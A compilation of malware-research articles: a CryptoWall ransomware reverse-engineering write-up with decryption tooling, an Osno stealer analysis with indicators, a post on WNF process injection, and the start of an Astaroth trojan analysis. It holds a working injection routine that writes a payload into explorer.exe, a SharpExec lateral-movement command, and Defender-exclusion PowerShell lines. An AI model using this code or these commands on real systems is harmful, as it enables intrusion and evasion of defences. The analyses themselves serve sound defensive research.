I believe certain malware will often perform these checks throughout the parsing of the C2 response server to make sure the data being fed back is authentic. Over at 0x00404F35, there is another check to see how many times it tried to reach the command server. If the check reaches exactly 3 times then it will move to check if the onion route is valid; all CryptoWall variants hardcode the first string index with ascii ‘1’. If it does not start with this number, then it will try to reach back again for a different payload. The other anti-tamper check it makes for the onion route is a CRC32 hash against the payload, if the compressed route does not equal 0x63680E35, the malware will try one last time to compare against the DWORD value of 0x30BBB749. The variant has two hardcoded 256 byte arrays to which it compares the encrypted values against. Brute-forcing can take a long time but is possible with a python script that I made here. The checksum is quite simple, it will take each letter of the site string and logical-XOR against an unsigned value:

tmp = ord(site[i])) ^ (ret_value & 0xffffff)

It will take the tmp value and use it as an index in the hardcoded byte array to perform another logical-XOR against :

ret_value = bytes_array[tmp*4:(tmp*4)+4] ^ (0xFFFFFFFF >> 8)

The return value then gets inverted giving us a 4 byte hash to verify against. Now the malware moves on over to the main thread responsible for encrypting the victims files at 0x00412988. The first function call in this thread is from CryptAcquireContextW, and that will acquire a handle to a particular key container within a CSP. 16 bytes will then be allocated to the stack using VirtualAlloc; which will be the buffer to the original key.

isDecompressed = CreateTextForRansomwareNote(0, 0, 0);
if ( !isRequestSuccess || !isDecompressed )
remaining_c2_data = 0;
while ( 1 )
isRequestSuccess = SecondRequestToC2(&rsa_key,
&rsa_key_size, &remaining_c2_data);
if ( isRequestSuccess )

Once the text for the ransom note is decompressed, CryptoWall will place this note as an HTML, PNG, and TXT file inside of every directory the virus went through to encrypt documents. After this point, it will go through another round of requests to the I2P C2 servers to request another RSA 2048-bit public key. This key will be the one used for encryption. This strain will do a number of particular hardcoded hash checks on the data it gets back from the C2.

Decoding the Key

CryptoWall will use basic Win32 Crypto functions like CryptStringToBinaryACryptDecodeObjectEx, & CryptImportPublicKeyInfo to decode the RSA key returned. Then it will import the public key information into the provider which then returns a handle of the public key. After importing is finished, all stored data will go into a local type structure like this:

struct _KeyData
char *key;
int key_size;
BYTE *hash_data_1;
BYTE *hash_data_2;
};// Gets used here at 0x00412B8C
if ( ImportKey_And_EncryptKey(
&OriginalKey->hash_data_2) )

The next actions the malware takes is pretty basic for ransomware.. it will loop through every available drive, and use GetDriveTypeW to determine whether a disk drive is a removable, fixed, CD-ROM, RAM disk, or network drive. In our case, the C drive is the only open drive which falls under the category of DRIVE_FIXED. CryptoWall will only check if the drive is CD-ROM because it will not try to spread in that case.

.text:00412C1B      mov     ecx, [ebp+driver_letter]
.text:00412C1E push ecx
.text:00412C1F call GetDriveTypeW
.text:00412C2C cmp eax, 5
.text:00412C2F jz skip_drive

EAX holds the integer value returned from the function call which represents the type of drive associated with that number (5 == DRIVE_CDROM). You can find the documentation here.

The exciting part is near as we are about to head over to where the malware duplicates the key it retrieved from our fake C2 server at address 0x00412C7A. What is happening here is pretty straight forward, and we can show in pseudo-code:

if (OriginalKey)
DuplicatedKey = HeapAlloc(16)
if (DuplicatedKey)
CryptDuplicateKey(OriginalKey, 0, 0, DuplicatedKey)
memcpy(DuplicatedKey, OriginalKey, OrignalKey_size)

Essentially CryptDuplicateKey is making an exact copy of a key and the state of the key. The DuplicatedKey variable ends up becoming a struct as we can see after the function call at 0x00412C7A, it gets used to store volume information about the drive its currently infecting.

GetVolumeInformation(driver_letter, DuplicatedKey + 20);
if ( MoveDriverLetterToDupKeyStruct(driver_letter,
(DuplicatedKey + 16), 0) {

That is why 24 bytes was used to allocate to the heap when creating this variable instead of 16. Now we can define our struct from what we know so far:

struct _DupKey
const char *key;
int key_size;
DWORD unknown1;
DWORD unknown2;
char *drive_letter;
LPDWORD lpVolumeSerialNumber;
DWORD unknown3;
};// Now our code looks cleaner from above
if ( MoveDriverLetterToDupKeyStruct(driver_letter,
&DuplicatedKey->drive_letter, 0) {

Encrypting of Files

After the malware is finished storing all pertinent information regarding how and where it will do its encryption, CryptoWall moves forward to the main encryption loop at 0x00416780.

Image for post
Encryption Loop Control Flow Graph

As we can see, the control flow graph is fairly long in this subroutine, but nothing out of the ordinary when it comes to ransomware. A lot has to be done before encrypting files. At the start of this function, we see an immediate call to HeapAlloc to allocate 260 bytes of memory. We can automatically assume this will be used to store the file’s absolute path, as Windows OS only allows a max of 260 bytes. Upon success, there is also an allocation of virtual memory with a size of 592 bytes that will later be used as the file buffer contents. Then the API call FindFirstFileW uses this newly allocated buffer to store the first filename found on system. The pseudo-code below will explain the flow:

lpFileName = Allocate260BlockOfMemory(); // HeapAlloc
if ( lpFileName )
(*(wcscpy + 292))(lpFileName, driver_letter);
lpFindFileData = AllocateSetMemory(592); // VirtualAlloc
if ( lpFindFileData )
hFile = (*(FindFirstFileW + 504))(lpFileName, lpFindFileData);
if ( hFile != 0xFFFFFFFF )
v29 = 0;
// Continue down to further file actions

Before the malware opens up the first victim file, it needs to make sure the file and file extension themselves are not part of their hardcoded blacklist of bytes. It does this check using a simple CRC-32 hash check. It will take the filename, and extension; compress it down to a DWORD, then compare that DWORD to a list of bytes that live in the .data section.

Image for post

To see how the algorithm works, I reversed it to python code, and wrote my own file checker.

➜  python --check-file-ext "dll"
[!] Searching PE sections for compressed .data
[!] Searching PE sections for compressed extension .data

[-] '.dll' is not a valid file extension for Cryptowall

➜ python --check-file-ext "py"
[!] Searching PE sections for compressed .data
[!] Searching PE sections for compressed extension .data

[+] '.py' is a valid file extension for Cryptowall

Now we can easily tell what type of files CryptoWall will attack. Obvious extensions like .dll.exe, and .sys is a very common file type for ransomware to avoid.

Image for post

If the file passes these two checks, then it moves on over to the last part of the equation; the actual encryption located at 0x00412260. We can skip the first few function calls as they are not pertinent to what is about to happen. If you take a look at address 0x00412358, there is a subroutine that takes in three parameters; a file handle, our DuplicateKeyStruct, and a file size. Stepping into the function, we can immediately tell what is happening:

if(ReadFileA(hFile, lpBuffer, 
&lpNumberOfBytesRead, 0) && lpNumberOfBytesRead) ==
if(memcmp(lpBuffer, DuplicateKeyStruct->file_hash,
isCompare = 1;

The pseudo-code is telling us that if an MD5 hash of the file is present in the header, then its already been encrypted. If this function returns isCompared to be true, then CryptoWall moves on to another file and will leave this one alone. If it returns false from the Compare16ByteHeader() function call, the malware will append to the file’s extension by using a simple algorithm to generate a three lettered string to place at the end. The generation takes a timestamp, uses it as a seed, and takes that seed to then mod the first three bytes by 26 then added to 97.

*(v8 + 2 * i) = DataSizeBasedOnSeed(0, 0x3E8u) % 26 + 97;

This is essentially a rotation cipher, where you have a numerical variable checked by a modulate to ensure it doesn’t go past alphanumeric values, then the addition to 97 rotates the ordinal 45 times. As an example, if we have the letter ‘A’, then after this cipher, it ends up becoming an ’n’. In conclusion, if the victim file is named, this subroutine will rename it to

Next, around address 0x004123F0, the generation of an AES-256 key begins with another call to Win32’s CryptAcquireContextW. The phProv handler gets passed over to be used in CryptGenKey and CryptGetKeyParam.

if ( CryptGenKey(hProv, 0x6610, 1, &hKey) ):
pbData_1 = 0;
pdwDataLen_1 = 4;
if ( CryptGetKeyParam(hKey, 8, &pbData_1, &pdwDataLen_1, 0, 4)

The hexadecimal value of 0x6610 shown above tells us that the generated key is going to be AES-256 as seen in MS-DOCS. Once the hKey address to which the function copies the handle of the newly generated key is populated, CryptGetKeyParam will be used to make the key and transfer it into pbData; a pointer to a buffer that receives the data. One last call in this function we labeled as GenerateAESKey() gets called which is CryptExportKey. This will take the handle to the key to be exported and pass it the function, and the function returns a key BLOB. The second parameter of the GenerateAESKey() will hold the aes_key.

Image for post

The next call is one of the most important ones to understand how eventually we can decrypt the files that CryptoWall infected. EncryptAESKey() uses the pointer to DuplicateKeyStruct->rsa_key to encrypt our AES key into a 256 byte blob. Exploring inside this function call is fairly simple; it uses CryptDuplicateKey and CryptEncrypt to take our public RSA 2048-bit key from earlier, our newly generated AES key to duplicate both keys to save for later, and encrypt the buffer. The fifth parameter is our data out in this case and once the function returns, what we labeled as encrypted_AESkey_buffer will hold our RSA encrypted key.

At around address 004124A5, you will see two calls to WriteFileA. The first call will move the 16 byte MD5 hash at the top of the victim file, and the second call will write out the 256 bytes of encrypted key buffer right below the hash.

Image for post
Screenshot shows 128 byte encrypted key buffer, but it was a copy mistake; Supposed to be 256 bytes of encrypted key text.

The picture above shows what an example file will look like up until this stage of the infection. The plaintext is still intact, but the headers now hold the hash of the file and the encrypted AES key used to encrypt the plaintext in the next phase. ReadFileA will shortly get called at 0x0041261B, which will read out everything after the header of the file to start the encryption process.

Image for post

Now that 272 bytes belong to the header, anything after that we can assume is free range for the next function to deal with. We don’t really need to deep dive too much into what DuplicateAESKey_And_Encrypt() does as it is pretty self explanatory. The file contents are encrypted using the already generated AES key from above that was passed into the HCRYPTKEY *hKey variable. The sixth parameter of this function is the pointer which will contain the encrypted buffer. At this point the ransomware will replace the plaintext with an encrypted blob, and the AES key is free’d from memory.

Image for post
Example of a fully encrypted file

After the file is finished being processed, the loop will continue until every allow listed file type on disk is encrypted.

Decrypting Victim Files

Unfortunately in this case, it is only possible to write a decryption algorithm if you know the private key used which is generated on the C2 side. This is going to be a two step process as in order to decrypt the file contents, we need to decrypt the AES key that has been RSA encrypted.

The fake C2 server I wrote also includes an area where a private key is generated at the same time that the public key is generated. So in my case, all encrypted files on my VM are able to be decrypted.

Side Note: In order to run this C2 server, you have to place the malware’s hardcoded I2P addresses in /etc/hosts on Windows. Then make sure the server has started before executing the malware as there will be a lot of initial verification going back and forth between the malware and ‘C2’ to ensure its legitimacy. Your file should look like this: proxy1-1-1.i2p proxy2-2-2.i2p

Another reason why we un the fake C2 server before executing the malware is so we don’t end up in some dead lock state. The output from our server will look something like this:

C:\CryptoWall\> python.exe

* Serving Flask app "fake_c2_server" (lazy loading) - - [31/Mar/2020 15:10:06] "�[33mGET / HTTP/1.1�[0m" 404 -

Data Received from CryptoWall Binary:
[!] Found URI Header: 93n14chwb3qpm
[+] Created key from URI: 13349bchmnpqw
[!] Found ciphertext: ff977e974ca21f20a160ebb12bd99bd616d3690c3f4358e2b8168f54929728a189c8797bfa12cfa031ee9c2fe02e31f0762178b3b640837e34d18407ecbc33
[+] Recovered plaintext: b'{1|crypt1|C6B359277232C8E248AFD89C98E96D65|0|2|1||}'

[+] Sending encrypted data blob back to cryptowall process - - [31/Mar/2020 15:11:52] "�[37mPOST /93n14chwb3qpm HTTP/1.1�[0m" 200

Step by step, the first thing we have to do is write a program that imports the private key file. I used C++ for this portion because for the life of me I could not figure out how to mimic the CryptDecodeObjectEx API call that decodes the key in a X509_ASN_ENCODING and PKCS_7_ASN_ENCODING format. Once you have the key blob from this function, we can use this function as the malware does and call CryptImportKey, but this time it is a private key and not a public key ;). Since the first 16 bytes of the victim file contains the MD5 hash of the unencrypted file, we know we can skip that part and focus on the 256 bytes after that part of the header. The block size is going be 256 bytes and AES offset will be 272, since that will be the last byte needed in the cryptographic equation. Once we get the blob, it is now okay to call CryptDecrypt and print out the 32 byte key blob:

if (!CryptDecrypt(hKey, NULL, FALSE, 0, keyBuffer, &bytesRead))  
printf("[-] CryptDecrypt failed with error 0x%.8X\n",
return FALSE;
} printf("[+] Decrypted AES Key => ");
for(int i = 0; i < bytesRead; i++)
printf("%02x", keyBuffer[i]);

You can find the whole script here. Now that we are half way there and we have an AES key, the last thing to do is write a simple python script that will take that key / encrypted file and decrypt all remaining contents of it after the 272nd byte.

enc_data_remainder = file_data[272:]
cipher =, AES.MODE_ECB)
plaintext = cipher.decrypt(enc_data_remainder)

The script to perform this action is in the same folder on Github. If you want to see how the whole thing looks from start to finish, it will go like this:

➜  decrypt_aes_key.exe priv_key_1.pem loveme.txt
[+] Initialized crypto provider
[+] Successfully imported private key from PEM file
[!] Extracted encrypted AES keys from file
[+] Decrypted AES Key => 08020000106600002000000040b4247954af27637ce4f7fabfe1ccfc6cd55fc724caa840f82848ea4800b320
[+] Successfully decrypted key from file

➜ python loveme.txt 40b4247954af27637ce4f7fabfe1ccfc6cd55fc724caa840f82848ea4800b320
[+] Decrypting file
[+] Found hash header => e91049c35401f2b4a1a131bd992df7a6
[+] Plaintext from file: b'"hello world" \r\n\'


Overall this was one of the biggest leading cyber threats back in 2013, and the threat actors behind this malicious virus have shown their years of experience when it comes to engineering a ransomware such as this.

Although this ransomware is over 6 years old, it still fascinated me so much to reverse engineer this virus that I wanted to share all the tooling I have wrote for it. Every step of the way their was another challenge to overcome, whether it was knowing what the malware expected the encrypted payload to look like coming back from the C2, figuring out how to decrypt their C2 I2P servers using RC4, decompressing the ransomware note using some hard to mimic LZNT1 algorithm, or even understanding their obscure way of generating domain URI paths… it was all around a gigantic puzzle for a completionist engineer like myself.

Here is the repository that contains all the programs I wrote that helped me research CryptoWall.

Thank you for following along! I hope you enjoyed it as much as I did. If you have any questions on this article or where to find the challenge, please DM me at my Instagram: @hackersclub or Twitter: @ringoware

Happy Hunting 🙂

Babax stealer rebrands to Osno, installs rootkit

Babax stealer rebrands to Osno, installs rootkit

Original text Karsten Hahn

Babax not only changes its name but also adds a Ring 3 rootkit and lateral spreading capabilities. Furthermore it has a ransomware component called OsnoLocker. Is this combination as dangerous as it sounds?

Emergence of Babax and Osno

Babax stealer is at least around since June 2019. At that time a user named ForlayPy gave away the source code for free after being dissatisfied with a customer they sold the source to.

A colleague of mine discovered the first Osno stealer sample[1] on 5th October 2020. The sample[1] is a packed .NET assembly with the module name FallGuysStats. The module name indicates that it is using a statistics generator for the Steam game Fall Guys as a lure. The config shows version Osno 2.1.5 and has placeholders for some of the functions, including FTP and Telegram settings.

By the end of October researcher @backsla3h noted that the stealer is sold on forums. The advertisment comparison of Babax and Osno shows not only an increased price but also four more features or «Benefits» for Osno: r77 and network spreading, Anti-AV and evasion of WindowsDefender via allowlist, AnarchyGrabber and microphone records. Additionally there is a ransomware module which is not advertised (yet). Most of these features are described in the following sections.

Rootkit r77

Although the advertisment calls this an exploit, it is actually an open source rootkit by bytecode77. The Github repo provides DLL’s for this rootkit as well as an installer. Osno does the installation itself. Just like the rootkit installer, Osno registers the rootkit DLL to AppInit_DLLs and enables LoadAppInit_DLLs so it is loaded with every process. Because the rookit DLLs are not signed, it sets RequireSignedAppInit_DLLs to 0.

The rootkit uses MinHook to redirect WinAPI calls, so that it hides processes and file names, e.g., from explorer and taskmanager. The proof-of-concept binaries for the rootkit hide files and processes that start with «$77». Since Osno uses the proof-of-concept binaries, it needs to add the prefix «$77» to its own files to make it work.

File hiding demonstration by r77 rootkit. Image from

The Github for r77 states that the rootkit is still work in progress. Because of that hiding files for x86 is currently unstable and disabled in the proof-of-concept files.

Lateral movement via SharpExec

Osno collects all accessible IP adresses in the local network, then downloads SharpExec binaries from Github. SharpExec is a tool with various commands for lateral movement. Osno executes the following command for every collected IP and domain:

<sharpexec> -m=psexec -i=<collected-ip> -d=<collected-domain> -f=<path-in:%TEMP%/gpustats.bx> -e=%TEMP%/<randomname>

The file gpustats.bx contains the path to the Osno executable. This command attempts to upload Osno to the given IP into the %TEMP% folder and executes it. That way Osno is able to spread to all accessible computers within the network.


The following Anti-AV features are those of the unpacked Osnoe sample[2]. The packer stub itself has also Anti-AV which is beyond the scope of this article.

Windows Defender

Osno adds its own path and the root of drive C: as exclusion folder for Windows Defender using the following PowerShell commands:

Add-MpPreference -ExclusionPath C:\
Add-MpPreference -ExclusionPath <path-to-malware>

This can only be successful if the malware has already gotten foothold on the system and obtained administrator privileges.

Other AVs

Osno searches for Window titles and process names to kill the processes of Antivirus software. It does this for the following window titles and process names:

  • Window title «Malwarebytes Anti-Malware» and process name either mbamgui or mbam
  • Process names: avgidsagent, avgfws, avgtray, avgemcx, avgwdsvc, avgnsx, avgcsrvx, avgrsx, Toolbar Updater

That means only Malwarebytes Anti-Malware and AVG are affected.

Osno ransomware is a wiper

Osno ransomware, or OsnoLocker as it is called in the code, has an implementation for XXTEA. However, it is not used in the current sample. Instead it overwrites the original content of the files with a marker. The marker is the string «OsnoRansom» appended by a randomly created string of length 50-200 characters consisting of uppercase letters A-Z and digits 0-9. Described as a regex this would be ^OsnoRansom([A-Z0-9]){50,200}$. The randomly created string will be different for every affected file.

OsnoLocker adds the .osnoed extension to these files.

OsnoLocker puts a ransom message into a file called RecInstruct.osnoned (sic!). It proceeds to write an executable to disk named Osno Decryptor.exe[3] whose purpose is to lock the screen, display the ransom message that was placed in RecInstruct.osnoned and ask for a decryption code. This Osno Decryptor.exe has the module name FakeRansomware.

Osno is a wiper in its current form and payment will not help to get any files back. Recovery of files via shadow volumes copies can work, though. Future versions of Osno might use the already implemented XXTEA to encrypt files.

AnarchyGrabber and other copied tools

Osno stealer implements the code of AnarchyGrabber 3. An article by Bleepingcomputer describes the additional features of the latest AnarchyGrabber version. Just like that version, Osno will force Discord to load JScript files inject.js and discordmod.js. To do that it puts the JScript files into the folder %AppData%\Discord\<version>\modules\discord_desktop_core\osno. Discord will then act as a stealer.

Another tool that this Osno sample uses is Da pure C++ Clipper[4]. A native binary for clipbanking.

Furthermore, @backsla3h pointed out that the RunPE method and VM/Debugger/Sandbox detection code are taken from CSharp-RunPE and Anti-Analysis by NYAN-x-CAT.

So we have already identified six different copied sources and tools that are deployed by Osno: SharpExec, AnarchyGrabber, Da Pure C++ Clipper, CSharp-RunPE, Anti-Analysis, r77 rootkit. It is likely that there are more copied sources in those functions I didn’t look at as they are beyond the scope of this article.


Osno is not just a stealer anymore. Although that is still the main focus, the added capabilities pose a more serious threat, especially RDP access, lateral movement and file destruction.

However, none of that seems particularly scary.

Firstly, most of the serious sounding features are only possible after the malware sucessfully accessed the system and gained administrator privileges. That includes the rootkit and the anti-AV. The lateral movement portion depends on an external tool that needs to be downloaded first. It is only successful if network adminstrators disregard security measures alltogether, thus, unlikely to cause serious outbreaks.

Secondly, many of the stealer’s features have been taken from public respositories and are known to defenders, making detection of the malware easier. Osno seems to have been worked around some of those tools. E.g., it uses the r77 rootkit binaries as is, although they are unfinished and only work with drawbacks. Osno renames its files to make them work for the rootkit binaries instead of implementing a rootkit that works for the Osno files.

The ransomware, which may have been self-implemented, seems not finished yet, which is confirmed by existence of non-implemented XXTEA code and the fact that this feature is not advertised. Later versions will likely use encryption instead of destroying files.

Due to the mishmash of open-source code and tools from other malware Osno is best described as a patchwork Frankenstein’s monster .

Indicators of compromise

[1] Osno/Babax stealer3bb9f55514122071824320091030f517a2809c140d86791275037569b26f53f1
[2] Unpacked Osno4fd221c89030a1fe1c2396a957990693ec8e6330ed79c63bde24abdbc0b8b166
[3] Screenlocker «Osno Decryptor.exe»40e4fffa431378e9f09310bba5ff4b8bcec1e11e2b9a606d15f123b696bdb697
[3] Da pure C++ Clipper1412516d5f9e43e9c797bbeb3872ef2ff0f68cf51d66288cfd257bb0b56a0e54
DescriptionIndicator of compromise
Regex for names of downloaded and executed files by Osno
located in %APPDATA% folder
Used as marker for download and execute, contains «0x15» after successful execution.%APPDATA%\system.infox
Data file that indicates if autorun was set, contains either «False» or «01010»C:\ProgramData\ar.xdg
Contains the path of the Osno executable base64 encoded or after lateral movement the string «0x14»%TEMP%/gpustats.bx
Discord JScript files placed by AnarchyGrabber%AppData%\Discord\<version>\modules\discord_desktop_core\osno\inject.js
Additional user for RDP access, password «5Z6aW8qRhLWEwS»Defaultuzer
Ransom message to be displayed by screenlockerRecInstruct.osnoned
Regex for content of overwritten files with .osnoed extension^OsnoRansom([A-Z0-9]){50,200}$
Stolen data, placed in%TEMP%\<md5(username)>Osno\<md5(machinename)>-LogsChromium Logins.txt
Gecko Logins.txt
Direct Login Cookies.txt
Hardware & Soft.txt

Windows Process Injection : Windows Notification Facility

Original text by modexp


At Blackhat 2018, Alex Ionescu and Gabrielle Viala presented Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet. It’s an exceptional well-researched presentation that I recommend you watch first before reading this post. In it, they describe WNF in great detail; the functions, data structures, how to interact with it. If you don’t wish to watch the whole video, well, you’re missing out on a cool presentation, but you can always read the slides from their talk here. Gabrielle followed up with a another well-detailed post called Playing with the Windows Notification Facility (WNF) that is also required reading if you want to understand the internals of WNF. You can find some of their tools here which allow dumping information about state names and subscribing for events. As suggested in the presentation, WNF can be used for code redirection/process injection which is what I’ll describe here. wezmaster has demonstrated how to use WNF for persisting .NET payloads here.

Context Header

The table, user and name subscriptions all have a context header.

typedef struct _WNF_CONTEXT_HEADER {
    CSHORT                   NodeTypeCode;
    CSHORT                   NodeByteSize;

The NodeTypeCode field indicates the type of structure that will appear after the header. The following are some examples.


For a target process, we scan all writeable areas of memory and attempt to read sizeof(WNF_SUBSCRIPTION_TABLE). For each successful read, the Header.NodeTypeCode is compared with WNF_NODE_SUBSCRIPTION_TABLE while the NodeByteSize is compared with sizeof(WNF_SUBSCRIPTION_TABLE). The type code and byte size are unique to WNF and can be used to locate WNF structures in memory provided no such similar structures exist.

UPDATEAdam suggested finding the address of WNF table via a function referencing it. You could also search pointers in the .data section or PEB.ProcessHeap. Each of these methods would likely be faster than searching all writeable areas of memory that includes stack memory.

Subscription Table

Created by NTDLL.dll!RtlpInitializeWnf and assigned type 0x911. Both NTDLL.dll!RtlRegisterForWnfMetaNotification and NTDLL.dll!RtlSubscribeWnfStateChangeNotification will create the table if one doesn’t already exist. You could hijack the callback function in TP_TIMER to redirect code, but since this post is about WNF, we need to look at the other structures.

typedef struct _WNF_SUBSCRIPTION_TABLE {
    WNF_CONTEXT_HEADER                Header;
    SRWLOCK                           NamesTableLock;
    LIST_ENTRY                        NamesTableEntry;
    LIST_ENTRY                        SerializationGroupListHead;
    SRWLOCK                           SerializationGroupLock;
    DWORD                             Unknown1[2];
    DWORD                             SubscribedEventSet;
    DWORD                             Unknown2[2];
    PTP_TIMER                         Timer;
    ULONG64                           TimerDueTime;

The main field we’re interested in is the NamesTableEntry that will point to a list of WNF_NAME_SUBSCRIPTION structures.

Serialization Group

Created by NTDLL.dll!RtlpCreateSerializationGroup and assigned type 0x913. Although not important for process injection, It’s here for reference since it wasn’t described in the presentation.

    WNF_CONTEXT_HEADER                Header;
    ULONG                             GroupId;
    LIST_ENTRY                        SerializationGroupList;
    ULONG64                           SerializationGroupValue;
    ULONG64                           SerializationGroupMemberCount;

Name Subscription

Created by NTDLL.dll!RtlpCreateWnfNameSubscription and assigned type 0x912. When subscribing for notifications, an attempt will be made to locate an existing name subscription and simply insert a user subscription into the SubscriptionsList using NTDLL.dll!RtlpAddWnfUserSubToNameSub.

typedef struct _WNF_NAME_SUBSCRIPTION {
    WNF_CONTEXT_HEADER                Header;
    ULONG64                           SubscriptionId;
    WNF_STATE_NAME_INTERNAL           StateName;
    WNF_CHANGE_STAMP                  CurrentChangeStamp;
    LIST_ENTRY                        NamesTableEntry;
    PWNF_TYPE_ID                      TypeId;
    SRWLOCK                           SubscriptionLock;
    LIST_ENTRY                        SubscriptionsListHead;
    ULONG                             NormalDeliverySubscriptions;
    ULONG                             NotificationTypeCount[5];
    PWNF_DELIVERY_DESCRIPTOR          RetryDescriptor;
    ULONG                             DeliveryState;
    ULONG64                           ReliableRetryTime;

The main fields we’re interested in are NamesTableEntry and SubscriptionsListHead for each user subscription that is described next.

User Subscription

Created by NTDLL.dll!RtlpCreateWnfUserSubscription and assigned type 0x914. This is the main structure one would want to modify for process injection or code redirection.

typedef struct _WNF_USER_SUBSCRIPTION {
    WNF_CONTEXT_HEADER                Header;
    LIST_ENTRY                        SubscriptionsListEntry;
    PWNF_NAME_SUBSCRIPTION            NameSubscription;
    PWNF_USER_CALLBACK                Callback;
    PVOID                             CallbackContext;
    ULONG64                           SubProcessTag;
    ULONG                             CurrentChangeStamp;
    ULONG                             DeliveryOptions;
    ULONG                             SubscribedEventSet;
    PWNF_SERIALIZATION_GROUP          SerializationGroup;
    ULONG                             UserSubscriptionCount;
    ULONG64                           Unknown[10];

We’re interested in the Callback and CallbackContext fields. If the context pointed to a virtual function table and one of the methods was executed upon receiving a notification from the kernel, then it probably wouldn’t require modifying Callback at all. To make things easier, the PoC only modifies the Callback value.

Callback Prototype

Six parameters are passed to a callback procedure. Both Buffer and CallbackContext could be utilized to pass in arbitrary code or commands, but since the PoC only executes notepad.exe, the parameters are ignored. That being said, it’s still important to use the same prototype for a payload so that the parameters are safely removed from the stack before returning to the caller.

    _In_     WNF_STATE_NAME   StateName,
    _In_     WNF_CHANGE_STAMP ChangeStamp,
    _In_opt_ PWNF_TYPE_ID     TypeId,
    _In_opt_ PVOID            CallbackContext,
    _In_     PVOID            Buffer,
    _In_     ULONG            BufferSize);

Listing Subscriptions

To help locate the WNF subscription table in a remote process, I wrote a simple tool called wnfscan that searches all writeable areas of memory for the context header. Once found, it parses and displays a list of name and user subscriptions.

Process Injection

Because we have to locate the WNF subscription table by scanning memory, this method of injection is more complicated than others. We don’t search for WNF_USER_SUBSCRIPTIONstructures because they appear higher up in memory and take too long to find. Scanning for the table first is much faster since it’s usually created when the process starts thus appearing lower in memory. Once the table is found, the name subscriptions are read and a user subscription is returned.

VOID wnf_inject(LPVOID payload, DWORD payloadSize) {
    LPVOID                 sa, cs;
    HWND                   hw;
    HANDLE                 hp;
    DWORD                  pid;
    SIZE_T                 wr;
    ULONG64                ns = WNF_SHEL_APPLICATION_STARTED;
    NtUpdateWnfStateData_t _NtUpdateWnfStateData;
    HMODULE                m;
    // 1. Open explorer.exe
    hw = FindWindow(L"Shell_TrayWnd", NULL);
    GetWindowThreadProcessId(hw, &pid);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    // 2. Locate user subscription
    sa = GetUserSubFromProcess(hp, &us, WNF_SHEL_APPLICATION_STARTED);

    // 3. Allocate RWX memory and write payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 4. Update callback and trigger execution of payload
      (PBYTE)sa + offsetof(WNF_USER_SUBSCRIPTION, Callback), 
    m = GetModuleHandle(L"ntdll");
    _NtUpdateWnfStateData = 
      (NtUpdateWnfStateData_t)GetProcAddress(m, "NtUpdateWnfStateData");
      &ns, NULL, 0, 0, NULL, 0, 0);
    // 5. Restore original callback, free memory and close process
      (PBYTE)sa + offsetof(WNF_USER_SUBSCRIPTION, Callback), 
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);


Since it’s possible to transfer data into the address space of a remote process via WNF publishing, it may be possible to avoid using VirtualAllocEx and WriteProcessMemory. Some .NET processes allocate executable memory with write permissions that could be misused by an external process for code injection. A PoC that executes notepad can be found here.




In 2018, we saw a dramatic increase in cyber crimes in Brazil and, separately, the abuse of legitimate native Windows OS processes for malicious intent. Cyber attackers used living off the land binaries (LOLbins) to hide their malicious activity and operate stealthily in target systems. Using native, legitimate operating system tools, attackers were able to infiltrate and gain remote access to devices without any malware. For organizations with limited visibility into their environment, this type of attack can be fatal.

In this research, we explain one of the most recent and unique campaigns involving the Astaroth trojan.This Trojan and information stealer was recognized in Europe and chiefly affected Brazil through the abuse of native OS processes and the exploitation of security-related products.

Brazil is constantly being hit with cybercrime. To read about another pervasive attack in Brazil, check out our blog post. 


Pervasive Brazilian Financial Malware Targets Bank Customers in Latin America and Europe

The Cybereason Platform was able to detect this new variant of the Astaroth Trojan in a massive spam campaign that targeted Brazil and parts of Europe. Our Active Hunting Service team was able to analyze the campaign and identify that it maliciously took advantage of legitimate tools like the BITSAdmin utilityand the WMIC utility to interact with a C2 server and download a payload. It was also able to use a component of multinational antivirus software Avast to gain information about the target system, as well as a process belonging to Brazilian information security company GAS Tecnologia to gather personal information. With a sophisticated attack such as this, it is critical for your security team to have a clear understanding of your environment so they can swiftly detect malicious activity and respond effectively. 


The Astaroth Trojan campaign is a phishing-based campaign that gained momentum towards the end of 2018 and was identified in thousands of incidents. Early versions differed significantly from later versions as the adversaries advanced and optimized their attack. This version contrasted significantly from previous versions in four key ways.

  1. This version maliciously used BITSAdmin to download the attackers payload. This differed from early versions of the campaign that used certutil.
  2. This version injects a malicious module into one of Avast’s processes, whereas early versions of the campaign detected Avast and quit. As Avast is the most common antivirus software in the world, this is an effective evasive strategy.
  3. This version of the campaign made malicious use of unins000.exe, a process that belongs to the Brazilian information security company GAS Tecnologia, to gather personal information undetected. This trusted process is prevalent on Brazilian machines. To the best of our knowledge, no other versions of the malware used this process.
  4. This version used a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and help hide the code it is initiating. Earlier versions did not use this method.


As with many traditional spam campaigns, this campaign begins with a .7zip file. This file gets downloaded to a user machine through a mail attachment or a mistakenly-pressed hyperlink.

The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware.


The .lnk file extracted from the .7zip file.

An obfuscated command is located inside the Target bar in the .lnk file properties. 

Hidden command inside the .lnk file.

The full obfuscated command inside the .lnk file.

When the .lnk file is initialized, it spawns a CMD process. This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw).

wmic.exe is a powerful, native Windows command line utility used to interact with Windows Management Instrumentation (WMI). This utility is able to execute complicated WQL queries and WMI methods. It is often used by attackers for lateral movement, reconnaissance, and basic code invocation. By using a trusted, native utility, the attackers can hide the scope of the full attack and evade detection.

The initial attack vector as detected by the Cybereason Platform.

wmic.exe creates a .txt file with information about the domain that stores the remote XSL script. It identifies the location of the infected machine, including country, city, and other information. Once this information is gathered, it sends location data about the infected machine to the remote XSL script.

This location data gives the attacker a unique edge, as they can specify a target country or city to attack and maximize their accuracy when choosing a particular target. 

 The .txt file contains information about the C2 domain and infected machine, as detected in a Cybereason Lab environment.


The remote XSL script that wmic.exe sends information to contains highly obfuscated JScript code that will execute additional steps of the malicious activity. The code is obfuscated in order to hide any malicious activity on the remote server.

